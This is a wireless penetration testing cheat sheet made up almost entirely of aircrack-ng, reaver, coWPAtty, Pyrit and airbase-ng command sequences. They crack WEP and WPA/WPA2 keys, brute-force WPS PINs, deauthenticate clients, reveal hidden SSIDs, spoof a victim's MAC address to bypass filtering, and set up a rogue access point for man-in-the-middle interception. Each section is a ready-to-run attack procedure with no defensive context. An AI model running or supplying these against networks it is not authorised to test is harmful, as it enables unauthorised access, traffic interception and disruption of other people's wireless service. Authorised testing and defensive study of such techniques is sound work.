Wireless Penetration Testing Cheat Sheet

WIRELESS ANTENNA

  • Open the Monitor Mode
$ ifconfig wlan0mon down
$ iwconfig wlan0mon mode monitor
$ ifconfig wlan0mon up
  • Increase Wi-Fi TX Power
$ iw reg set B0
$ iwconfig wlan0 txpower <NmW|NdBm|off|auto>
#txpower is 30 (generally)
#txpower is depends your country, please googling
$ iwconfig
  • Change WiFi Channel
$ iwconfig wlan0 channel <SetChannel(1-14)>

WEP CRACKING

  • Method 1 : Fake Authentication Attack
$ airmon-ng start wlan0
$ airodump-ng –c <AP_Channel> --bssid <BSSID> -w <FileName> wlan0mon
#What’s my mac?
$ macchanger --show wlan0mon
$ aireplay-ng -1 0 -a <BSSID> -h <OurMac> -e <ESSID> wlan0mon
$ aireplay-ng -2 –p 0841 –c FF:FF:FF:FF:FF:FF –b <BSSID> -h <OurMac> wlan0mon
$ aircrack-ng –b <BSSID> <PCAP_of_FileName>
  • Method 2 : ARP Replay Attack
$ airmon-ng start wlan0
$ airodump-ng –c <AP_Channel> --bssid <BSSID> -w <FileName> wlan0mon
#What’s my mac?
$ macchanger --show wlan0mon
$ aireplay-ng -3 –x 1000 –n 1000 –b <BSSID> -h <OurMac> wlan0mon
$ aircrack-ng –b <BSSID> <PCAP_of_FileName>
  • Method 3 : Chop Chop Attack
$ airmon-ng start wlan0
$ airodump-ng –c <AP_Channel> --bssid <BSSID> -w <FileName> wlan0mon
# What’s my mac?
$ macchanger --show wlan0mon
$ aireplay-ng -1 0 –e <ESSID> -a <BSSID> -h <OurMac> wlan0mon
$ aireplay-ng -4 –b <BSSID> -h <OurMac> wlan0mon
 # Press ‘y’ ;
$ packetforge-ng -0 –a <BSSID> -h <OurMac> -k <SourceIP> -l <DestinationIP> -y <XOR_PacketFile> -w <FileName2>
$ aireplay-ng -2 –r <FileName2> wlan0mon
$ aircrack-ng <PCAP_of_FileName>
  • Method 4 : Fragmentation Attack
$ airmon-ng start wlan0
$ airodump-ng –c <AP_Channel> --bssid <BSSID> -w <FileName> wlan0mon
#What’s my mac?
$ macchanger --show wlan0mon
$ aireplay-ng -1 0 –e <ESSID> -a <BSSID> -h <OurMac> wlan0mon
$ aireplay-ng -5 –b<BSSID> -h < OurMac > wlan0mon
#Press ‘y’ ;
$ packetforge-ng -0 –a <BSSID> -h < OurMac > -k <SourceIP> -l <DestinationIP> -y <XOR_PacketFile> -w <FileName2>
$ aireplay-ng -2 –r <FileName2> wlan0mon
$ aircrack-ng <PCAP_of_FileName>
  • Method 5 : SKA (Shared Key Authentication) Type Cracking
$ airmon-ng start wlan0
$ airodump-ng –c <AP_Channel> --bssid <BSSID> -w <FileName> wlan0mon
$ aireplay-ng -0 10 –a <BSSID> -c <VictimMac> wlan0mon
$ ifconfig wlan0mon down
$ macchanger –-mac <VictimMac> wlan0mon
$ ifconfig wlan0mon up
$ aireplay-ng -3 –b <BSSID> -h <FakedMac> wlan0mon
$ aireplay-ng –-deauth 1 –a <BSSID> -h <FakedMac> wlan0mon
$ aircrack-ng <PCAP_of_FileName>

WPA / WPA2 CRACKING

  • Method 1 : WPS Attack
$ airmon-ng start wlan0
$ apt-get install reaver
$ wash –i wlan0mon –C
$ reaver –i wlan0mon –b <BSSID> -vv –S
#or, Specific attack
$ reaver –i –c <Channel> -b <BSSID> -p <PinCode> -vv –S
  • Method 2 : Dictionary Attack
$ airmon-ng start wlan0
$ airodump-ng –c <AP_Channel> --bssid <BSSID> -w <FileName> wlan0mon
$ aireplay-ng -0 1 –a <BSSID> -c <VictimMac> wlan0mon
$ aircrack-ng –w <WordlistFile> -b <BSSID> <Handshaked_PCAP>
  • Method 3 : Crack with John The Ripper
$ airmon-ng start wlan0
$ airodump-ng –c <Channel> --bssid <BSSID> -w <FileName> wlan0mon
$ aireplay-ng -0 1 –a <BSSID> -c <VictimMac> wlan0mon
$ cd /pentest/passwords/john
$ ./john –wordlist=<Wordlist> --rules –stdout|aircrack-ng -0 –e <ESSID> -w - <PCAP_of_FileName>
  • Method 4 : Crack with coWPAtty
$ airmon-ng start wlan0
$ airodump-ng –c <Channel> --bssid <BSSID> -w <FileName> wlan0mon
$ aireplay-ng -0 1 –a <BSSID> -c <VictimMac> wlan0mon
$ cowpatty –r <FileName> -f <Wordlist> -2 –s <SSID>
$ genpmk –s <SSID> –f <Wordlist> -d <HashesFileName>
$ cowpatty –r <PCAP_of_FileName> -d <HashesFileName> -2 –s <SSID>
  • Method 5 : Crack with Pyrit
$ airmon-ng start wlan0
$ airodump-ng –c <Channel> --bssid <BSSID> -w <FileName> wlan0mon
$ aireplay-ng -0 1 –a <BSSID> -c <VictimMac> wlan0mon
$ pyrit –r<PCAP_of_FileName> -b <BSSID> -i <Wordlist> attack_passthrough
$ pyrit –i <Wordlist> import_passwords
$ pyrit –e <ESSID> create_essid
$ pyrit batch
$ pyrit –r <PCAP_of_FileName> attack_db
  • Method 6 : Precomputed WPA Keys Database Attack
$ airmon-ng start wlan0
$ airodump-ng –c <AP_Channel> --bssid <BSSID> -w <FileName> wlan0mon
$ aireplay-ng -0 1 –a <BSSID> -c <VictimMac> wlan0mon
$ kwrite ESSID.txt
$ airolib-ng NEW_DB --import essid ESSID.txt
$ airolib-ng NEW_DB --import passwd <DictionaryFile>
$ airolib-ng NEW_DB --clean all
$ airolib-ng NEW_DB --stats
$ airolib-ng NEW_DB --batch
$ airolib-ng NEW_DB --verify all
$ aircrack-ng –r NEW_DB <Handshaked_PCAP>

FIND HIDDEN SSID

$ airmon-ng start wlan0
$ airodump-ng –c <Channel> --bssid <BSSID> wlan0mon
$ aireplay-ng -0 20 –a <BSSID> -c <VictimMac> wlan0mon

BYPASS MAC FILTERING

$ airmon-ng start wlan0
$ airodump-ng –c <AP_Channel> --bssid <BSSID> -w <FileName> wlan0mon
$ aireplay-ng -0 10 –a <BSSID> -c <VictimMac> wlan0mon
$ ifconfig wlan0mon down
$ macchanger –-mac <VictimMac> wlan0mon
$ ifconfig wlan0mon up
$ aireplay-ng -3 –b <BSSID> -h <FakedMac> wlan0mon

MAN IN THE MIDDLE ATTACK

$ airmon-ng start wlan0
$ airbase-ng –e “<FakeBSSID>” wlan0mon
$ brctl addbr <VariableName>
$ brctl addif <VariableName> wlan0mon
$ brctl addif <VariableName> at0
$ ifconfig eth0 0.0.0.0 up
$ ifconfig at0 0.0.0.0 up
$ ifconfig <VariableName> up
$ aireplay-ng –deauth 0 –a <victimBSSID> wlan0mon
$ dhclient3 <VariableName> &
$ wireshark &
;select <VariableName> interface